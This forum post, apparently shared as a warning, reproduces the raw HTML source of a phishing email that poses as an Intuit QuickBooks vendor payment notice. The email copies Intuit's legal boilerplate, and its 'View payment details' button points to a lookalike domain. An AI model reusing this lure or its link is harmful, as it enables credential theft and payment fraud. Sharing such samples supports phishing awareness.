Quickbooks phish from Amazon

Posted by Dave Yadallee on
------=_NextPart_000_0012_269F1377.E54A8850

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable




-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px" cellSpacing=3D0 cellPadding=3D=

0 bgColor=3D#eceef1 border=3D0>




















0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px" height=3D1 colSpa=

n=3D3> 

0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT: 1px; PADDING-RIGHT: 0px;=

MAX-HEIGHT: 1px"> 
0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT: 1px; PADDING-RIGHT: 0px;=

MAX-HEIGHT: 1px"> 
0px; PADDING-LEFT: 0px; MARGIN: 0px; LINE-HEIGHT: 1px; PADDING-RIGHT: 0px;=

MAX-HEIGHT: 1px"> 

0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px"> 
IN: 0px; PADDING-RIGHT: 0px" width=3D640 align=3Dcenter>


ng=3D0 border=3D0>
















border=3D"0" alt=3D"" src=3D"cid:5a2f9fdccbde8fc5d477916d190eec86.png" wid=

th=3D"20" height=3D"1">


g=3D0 width=3D600 align=3Dcenter bgColor=3D#eceef1 border=3D0>






ING-RIGHT: 0px" align=3Dleft>
/click?upn=3Du001.C9ANdvTYX227JkDSVWi87TvvL95lUdHNT6wzBxXCtpIhUdEnz39IXrOMq=

JMCXNhJhWSE_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZ=

zkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbC=

oSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObB=

RCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12=

LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF=

8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FW=

WGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB=

19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4=

fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5=

QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1G=

pOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LAqdko-2BTnJM9uJ=

aXOZ7tmBy2DQ1ErJ3kskDeduFW-2BlkjyLIPp02Qy6VXcJDclpOTY5i-2Fs11SoLlMrGy4vpgjj=

-2BkorXqzSwPxGt1zFsV9xaRPjGqXZJ-2BiMXeWP4oidadXUn-2BMdt0yLiWcc9aI5RzRu6vE5g=

rzFs-2BUdAzu62Z9-2FK5cjyWb-2BD3M5Q8KnUH83B8YYs-3D" target=3D_blank>
le=3D"FONT-SIZE: 14px; FONT-FAMILY: 'Avenir Next', Avenir, Helvetica, sans-=

serif; COLOR: #393a3d; TEXT-ALIGN: center; DISPLAY: block" border=3D"0" alt=

=3D"Intuit QuickBooks" src=3D"cid:04b97cd8e505b31acd83af8b748bc8a2.png" wid=

th=3D"155" height=3D"68">
border=3D"0" alt=3D"" src=3D"cid:5a2f9fdccbde8fc5d477916d190eec86.png" wid=

th=3D"20" height=3D"1">

border=3D"0" alt=3D"" src=3D"cid:5a2f9fdccbde8fc5d477916d190eec86.png" wid=

th=3D"20" height=3D"1">


acing=3D0 cellPadding=3D0 width=3D600 align=3Dcenter bgColor=3D#ffffff bord=

er=3D0>


























0px; PADDING-LEFT: 30px; PADDING-RIGHT: 30px" align=3Dcenter>
processing_icon" style=3D"DISPLAY: block" border=3D"0" src=3D"cid:920b8471a=

1ece85299098bbed8022a47.png" width=3D"101" height=3D"54">

DDING-RIGHT: 30px" align=3Dcenter>
ZE: 25px; FONT-FAMILY: 'Avenir Next', Avenir, Helvetica, sans-serif; COLOR:=

#393a3d; LINE-HEIGHT: 36px">Vendor Payment - Remittance Advice.
AN>

DDING-RIGHT: 30px" align=3Dcenter>
IZE: 16px; FONT-FAMILY: 'Avenir Next', Avenir, Helvetica, sans-serif; COLOR=

: #393a3d; LINE-HEIGHT: 20px">Invoice Payment Sent Via: QuickBooks =

BillPay Services.

DDING-RIGHT: 30px" align=3Dcenter>
IZE: 16px; FONT-FAMILY: 'Avenir Next', Avenir, Helvetica, sans-serif; COLOR=

: #393a3d; LINE-HEIGHT: 20px">To be delivered by: Bank Transfer EFT=

(ACH/Direct Deposit).

DDING-RIGHT: 30px" align=3Dcenter>
IZE: 16px; FONT-FAMILY: 'Avenir Next', Avenir, Helvetica, sans-serif; COLOR=

: #393a3d; LINE-HEIGHT: 20px">Delivery ETA: Monday, November 23, 20=

26.

DDING-RIGHT: 30px" bgColor=3D#ffffff align=3Dcenter>


der=3D0>


















r=3D#339e28 border=3D0>






TABLE>

ILY: 'Avenir Next', Avenir, Helvetica, sans-serif; VERTICAL-ALIGN: middle; =

FONT-WEIGHT: 600; COLOR: #ffffff; LINE-HEIGHT: 22px; border-radius: 25px" b=

gColor=3D#339e28 align=3Dcenter>
-ALIGN: middle; COLOR: #ffffff; PADDING-BOTTOM: 8px; PADDING-TOP: 8px; PADD=

ING-LEFT: 30px; DISPLAY: block; PADDING-RIGHT: 30px; border-radius: 25px" h=

ref=3D"https://docsviesxclus.com/caqbo/412R005700630639135081/wap/" name=3D=

View target=3D_blank>View payment details

ADDING-RIGHT: 30px" bgColor=3D#ffffff align=3Dcenter>


r=3D#ffffff border=3D0>






E>










FT: 30px; LINE-HEIGHT: 1px; PADDING-RIGHT: 30px; MAX-HEIGHT: 1px" bgColor=

=3D#ffffff height=3D1 align=3Dcenter>


100%" align=3Dcenter bgColor=3D#d1d1d1 border=3D0>






TABLE>




DISPLAY: block; MAX-HEIGHT: 1px" border=3D"0" alt=3D"" src=3D"cid:5a2f9fdcc=

bde8fc5d477916d190eec86.png" width=3D"10" height=3D"1">

ADDING-RIGHT: 30px" bgColor=3D#ffffff align=3Dcenter>


r=3D#ffffff border=3D0>

border=3D"0" alt=3D"" src=3D"cid:5a2f9fdccbde8fc5d477916d190eec86.png" wid=

th=3D"20" height=3D"1">

border=3D"0" alt=3D"" src=3D"cid:5a2f9fdccbde8fc5d477916d190eec86.png" wid=

th=3D"20" height=3D"1">


g=3D0 width=3D600 align=3Dcenter bgColor=3D#eceef1 border=3D0>


















, sans-serif; COLOR: #6b6c72; PADDING-BOTTOM: 15px; PADDING-TOP: 10px; PADD=

ING-LEFT: 0px; LINE-HEIGHT: 16px; PADDING-RIGHT: 0px" align=3Dleft> 
R>**Standard ACH payments are usually delivered to the vendor’s accou=

nt within 2-5 business days, paper checks are usually delivered within 7-10=

business days. Faster payments are subject to eligibility criteria. Delive=

ry times may vary due to third party delays or risk reviews.
 
M=

oney movement services are provided by Intuit Payments Inc. pursuant to Int=

uit Payments Inc.'s licenses
(NMLS #10‍98819). Intuit Payments Inc=

=2E is located at 27‍00 Coast Av‍enue, Mount‍ain View, C&=

#8205;A 9‍4043, phone 1-‍888-‍536-‍4801
 
R>For more information about Intuit Payments' money transmission licenses, =

including California customers' right to refund statement, please visit our=


s://u7445749.ct.sendgrid.net/ls/click?upn=3Du001.C9ANdvTYX227JkDSVWi87SLSj8=

1B264OYNNlpD-2BCTPJzPmKYQoypOAx7KjMAtPUbFoenRPCncYMvvfSpU9pu3g-3D-3DBQr4_7-=

2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZ=

tK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2F=

sCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvnd=

f4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3Js=

cHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pg=

QUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgO=

IH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3=

sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJ=

BW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR=

6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOr=

qW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LDcU4SDOIf6EoeKAp1VkVcsd4NphHv=

Gk-2BneNbp836bgMkKG-2Fs3IHTLEmOYr0JQuwn5ypmiKJEerXOfHmO-2B7nHIQ4U6Txcam1kW6=

EuxRUPRZC-2F8-2FbwIJeexl1fV0dmKW5zFgevJCeSmmxiD49W9FVbUJ2M75x6u4uspmMruizge=

hHuL08DGYAeeoU0ZwmOAoobM-3D" target=3D_blank>payment licenses page.
=

 
Illinois Residents: RIGHT TO REFUND. You are entitled to a=

refund of the money to be transmitted if Intuit Payments Inc. does not for=

ward the money received from you within 3 business days of the date of its =

receipt. If you want a refund, you must mail or deliver your written reques=

t to Intuit Payments Inc., 27‍00 Coast Av‍enue, Mount‍ain=

View, C‍A 9‍4043 Attn: Intuit Payments Inc. or by calling the =

Customer Service Center at 1‑=

;‍888‑‍536‑‍4801.
 
Minn=

esota Residents: Consumers are warned that fraud can and does occur. Pl=

ease call Intuit Payments Inc. at 1‑‍888‑‍536‑=

;‍4801 to report fraud.
N>
 
New York residents: RIGHT TO REFUND. You are entitle=

d to a refund of the money to be transmitted if Intuit Payments Inc. (NMLS =

#10‍98819) does not forward the money received from you within 10 bus=

iness days of the date of its receipt. If you want a refund, you must mail =

or deliver your written request to Intuit Payments Inc., 27‍00 Coast =

Av‍enue, Mount‍ain View, C‍A 9‍4043 or by calling t=

he Customer Service Center at 1‑‍888‑‍536‑=

205;4801. Intuit Payments Inc. is licensed under the Transmitters of Money =

Act and regulated by the New York State Department of Financial Services. I=

f you have a complaint, first contact Intuit Payments Inc. at 1‑̴=

5;888‑‍536‑‍4801. Unresolved consumer complaints ma=

y be mailed to the New York State Department of Financial Services, Consume=

r Services Division, One Commerce Plaza,
">Al‍bany, N‍Y.
 
For Alaska Resident=

s Only: If your issue is unresolved by Intuit Payments, Inc. at 1-800-4=

46-8848, please submit formal complaints with the State of Alaska, Division=

of Banking & Securities. Please download the form here:
LOR: " href=3D"https://u7445749.ct.sendgrid.net/ls/click?upn=3Du001.C9ANdvT=

YX227JkDSVWi87adRoCkK3JEOLqfZOw-2BGU8-2FQOLGVb5FvBcuD1K03lXeP1tVlTQWOx9FSLm=

Ippv-2BDagmj81PzBe0TWikGDCtWvfMtwWaPvV6-2Bk6B0hQunMahhLqZj_7-2B-2F6303DPKGg=

WagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQ=

UL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwP=

BrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvndf4axOT5XCrUisw=

i-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9=

EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08M=

G67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2=

Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8=

aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOa=

k9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIM=

gTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2B=

Ec1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LBsOLn3-2FqIUB4CL9NzUQ-2B4bFtScuvVjCyZSaOKBg=

Dpy9wKFEqDeiMTY3fqmVzkECuz2mHVjJtqJ1QzQIcDa2Y9-2BOTRMkfIvzTey4bj3R4vJWoGSsK=

-2FxCMKqBY12K-2BUMzg1LPjztrp1atEA2-2B4nb7PEVwRv1iMjPl6-2B8RlO610-2B8aFWb3PW=

DHSXLtpqLfXC2Bqs-3D" target=3D_blank>https://www.commerce.alaska.gov/web/po=

rtals/3/pub/DBSGeneralComplaintFormupdated.pdf. Submit formal complaint=

form with supporting documents:Division of Banking & Securities PO Box=

110807 Juneau, AK 99811-0807 If you are an Alaska resident with questions =

regarding formal complaints, please email us at
=3D"mailto:dbs.licensing@alaska.gov" target=3D_blank>dbs.licensing@alaska.g=

ov or call Nine Zero Seven Four Six Five Two Five Two One.
 
>IPI is responsible for the non-delivery or delayed delivery of your funds =

until such funds are received by the designated beneficiary, and IPI is lia=

ble in the event that your funds are lost
p">or stolen.
 
Intuit respects your privacy. To lea=

rn more, read our Privacy Statement (
ortant; COLOR: #077dc6" href=3D"https://u7445749.ct.sendgrid.net/ls/click?u=

pn=3Du001.C9ANdvTYX227JkDSVWi87SFKuNJHR3zi6FTkhZTZmFYwYKK3SiLAxIbx1TNTVsc2U=

CRE_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXX=

SSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2=

Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4b=

syPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c=

8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgw=

n1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC5=

4kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzS=

DX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vK=

YIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3f=

FDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8L=

NhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LDYBUUtTfsoHoZtTX0CgoNSB=

krsKYGRSlNvIzoqdfkoz9xKznZNXv51NPo-2B4N7Uin4ff3aOrtIkEYvAmOldlhUdHwqoZKIF7D=

wiWbOYjqwPcbTPJdo-2BAMHZ-2FA-2BPvO6Q8D0TJtgiu8u92BZItgCRqRqIwlWihBa-2BFnq65=

inq8NUWQqXhUIanYt7BeZNLJaIigRg-3D" target=3D_blank>https://www.intuit.com/p=

rivacy/).
Visit Legal (
COLOR: #077dc6" href=3D"https://u7445749.ct.sendgrid.net/ls/click?upn=3Du0=

01.C9ANdvTYX227JkDSVWi87SLSj81B264OYNNlpD-2BCTPL-2FnAJO3Dfv-2BKhS4cDavl-2B6=

t_lk_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzX=

XSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-=

2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4=

bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4=

c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAg=

wn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC=

54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlz=

SDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7v=

KYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3=

fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8=

LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LBbF-2BZySQWtLMctzyQGYK=

OxRkYKJK4fHvH4biYniUJE52neQkMS6XrivWBs00u8KYqxHUdd2SWX9llrJ4Z2CIsZvyu-2BpbV=

CTOTmwAlssTMcbmH3110UN3PKvtW5gfTmTwgQJwbVr8jqaftvUw74dr1APZLcwE3JyJI-2F0GMD=

r8-2BGs5YQ8kTiA-2BjoI4OsOUn2Mgk-3D" target=3D_blank>https://www.intuit.com/=

legal/) to find out more.
N>
 
IMPORTANT NOTICE: This notification is being sent to inform=

you of a critical matter concerning your current service, software or bill=

ing. Please note that if you previously opted out of receiving marketing ma=

terials from Intuit, you may continue to receive notifications similar to t=

his communication. DO NOT REPLY to this email, this inbox is not monitored =

for replies.
 
&=

nbsp;
This message was sent to
ant; COLOR: #077dc6" href=3D"you" target=3D_blank>you, as an Intuit cus=

tomer, consistent with your
OLOR: #077dc6" href=3D"https://u7445749.ct.sendgrid.net/ls/click?upn=3Du001=

=2EC9ANdvTYX227JkDSVWi87cmREtoVnmlpmot2HEHwMiOEqo28BeWINThlCR-2BpM-2BWjO1Lg=

RrSsJHfip1hCt5nTWKbATfzoUlRksG9C9ScTkV6wJe9FtfasDGvbIdF1JOx5Tq7l164t4Kmhv94=

v61JeFzDbRu0EvnBj976nUcchXEb3udEBJLFQ6JIlJL6nCiCEM7N6_7-2B-2F6303DPKGgWagyH=

spi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6=

Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe=

-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW=

-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2G=

H0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67Hj=

PmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2=

FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2B=

nKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM=

4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw=

76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-=

2FZXNMhW4z9mNLvFaLr7wxQeU6LBhtrr7UK9E9LHthiIZi8bSI0KP4zIfLjMtUeZS09eDf14vsA=

zYcy9yGZ5LodY3r8L62q-2Bq-2FyUqj-2FaP1EE0ZS3oRuIYRDyLEj45B-2BYSWtQF7aIGGxPfq=

Vmstm-2FR7pHx3w2ynHu2GI-2BA8O3iwSIIsLtm1C5TIpHvf6v6kATw4AcrLnElWoK6u3CUjP10=

ZEY1vv4-3D" target=3D_blank>email preferences. If you have chosen not t=

o receive marketing messages, you will continue to receive business communi=

cations about your selected Intuit product(s), which may either affect your=

service or software, your account, or which may be legally required. If yo=

u receive a suspicious email, please report it by forwarding the email to <=

A style=3D"TEXT-DECORATION: underline !important; COLOR: #6b6c72" href=3D"m=

ailto:spoof@intuit.com" target=3D_blank>spoof@intuit.com.
 
=


://u7445749.ct.sendgrid.net/ls/click?upn=3Du001.C9ANdvTYX227JkDSVWi87X9OooN=

HmQG9eX1hhVT3-2FwDPh-2FO4XT40cbsVG0H2B9l7stqNF7ZvpJsZ-2Feiou0Aj5g-3D-3Dg5TG=

_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSn=

wwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco=

-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyP=

vndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm=

3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W=

3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kI=

UgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2=

JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIy=

GRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR400tV21pU5QA285t3fFDd=

9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhu=

HOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LBZr9dorlmPlG7lhSt8aSiVsIF4=

ADBFiDmI1Xnf35Zv5oGF2G6O9sJmroLNqogtJvR1qKsZBTjbQgMcMo5zODFO277j3Z6GUisPL72=

-2BEJXuM3XRzAFRqd42E-2BIFALyHFGZ3Et7eAImSvCZY4INv1CJ9v5uwHvYJTj9nFvrlfrQFE8=

z5FSwcsTaeDQ4NimHzokM-3D" target=3D_blank>Terms of service

=3D"TEXT-DECORATION: none !important; COLOR: #077dc6" href=3D"https://u7445=

749.ct.sendgrid.net/ls/click?upn=3Du001.C9ANdvTYX227JkDSVWi87TyjSWhU6mXtBhb=

2dA39nAy2CX-2BeKm8Of2v36wj-2FkNihApB__7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM=

-2FEnK471lyTVnJo22Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkR=

L-2F2T0mD6bXWvoCr89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqG=

lcNtq9RKsJSpH3wNC84-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rg=

XqVNcPiJ5saRQePLQSL8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXff=

Tdk3x5VB8l0bdQC9QHSAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5s=

ZxRL4n-2BRHJy167dcwLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtC=

owbizLn-2FVdy58n3HBH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3=

xdItq0bmtAjZg1ebJ4BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeK=

yboZksj2gU9TKEiR400tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvv=

GF7ZzsxCSK7ccoIBPapbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvF=

aLr7wxQeU6LA6LF936fLFZ9Ap2yIPlDNTA4EleCzTiqOZdLgSb8LFbYz339wg2YeKsQG5i9iLWj=

lu-2Fp-2BaFAk7h-2FIosxKyBBHieUYGzS-2FkAGCB5eSQRzX1zw5WCH69hjmPlg2Qwn6-2FslY=

nYZOAiQEPpOO1nE-2BQ178pq5VTBA1Dk8fB9AOHrdCrmZrGOmPtTRPWNJolUBOk5pc-3D" targ=

et=3D_blank>Security
R: #077dc6" href=3D"https://u7445749.ct.sendgrid.net/ls/click?upn=3Du001.C9=

ANdvTYX227JkDSVWi87SFKuNJHR3zi6FTkhZTZmFaltS2ixeDHtrx7SIMALVExVjcXzGnrTjXPe=

nrSf4OsPw-3D-3D_v0S_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo22=

Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr8=

9LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC8=

4-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQS=

L8Ik2M12LHRdOH4c8sm3JscHod2rlORAcik9EtJ2GH0SVFSG-2F54JXffTdk3x5VB8l0bdQC9QH=

SAW9j2pF8YXTVAgwn1W3pgQUNv5eCLWyC08MG67HjPmH8QdTniixh9z5sZxRL4n-2BRHJy167dc=

wLkaX3FWWGYZrQC54kIUgOIH9-2B7sN15PA2Knc-2FaYn92jLTxVthbtCowbizLn-2FVdy58n3H=

BH5t5hoB19rNqlzSDX2JP3sC-2FbgykQalF8aL-2BnKSoxwi27-2FBsZ3xdItq0bmtAjZg1ebJ4=

BjjNGEs4fbKZh7vKYIyGRJBW425R1GsB8eOak9clM4-2Fl7VC5HPSbIeKyboZksj2gU9TKEiR40=

0tV21pU5QA285t3fFDd9JR6KsgGm5JWZbZIMgTKIw76vjz-2FmBt4unvvGF7ZzsxCSK7ccoIBPa=

pbpv9o1GpOZxBe8LNhuHOrqW4VJx6-2Bb-2BEc1n-2FZXNMhW4z9mNLvFaLr7wxQeU6LDr5Qo-2=

Fwv-2F54enmRHj-2FgM5j6wtCjR9MuEFcKaAoIWRLDEW0na2iCuQ5jmmwJGUez8byhYlAJOIYba=

pdeWk09X1cOqJLa50TOFXP9qniEYDbEAZd2l9-2BuK8XqnSoG2dOe3UIQStOBGOhb9RiCumc9H8=

-2BJCgSV23KR-2BXXarlNpzVf7-2BgsTT0l6bg-2FIxrof9SI-2F3s-3D" target=3D_blank>=

Privacy Statement.
© 2026 Intuit Inc.
ON: none !important; COLOR: #077dc6" href=3D"https://u7445749.ct.sendgrid.n=

et/ls/click?upn=3Du001.C9ANdvTYX227JkDSVWi87SLSj81B264OYNNlpD-2BCTPJOzx4jSS=

9ya01x-2FKBMsCq57-iv_7-2B-2F6303DPKGgWagyHspi-2BIIp3fb5TQM-2FEnK471lyTVnJo2=

2Oqu1-2BZzkSxnzXXSSnwwZtK4ClDL4Z0JemQUL3u6Brhd-2BwDUqQngkRL-2F2T0mD6bXWvoCr=

89LrgQlbCoSXJIT-2Fco-2FsCcu9SeD6lpRwPBrYwe-2FlTUpk44TEdPqGlcNtq9RKsJSpH3wNC=

84-2FbObBRCSQMl4bsyPvndf4axOT5XCrUiswi-2BW-2BFzOBwfFSsF0rgXqVNcPiJ5saRQePLQ=

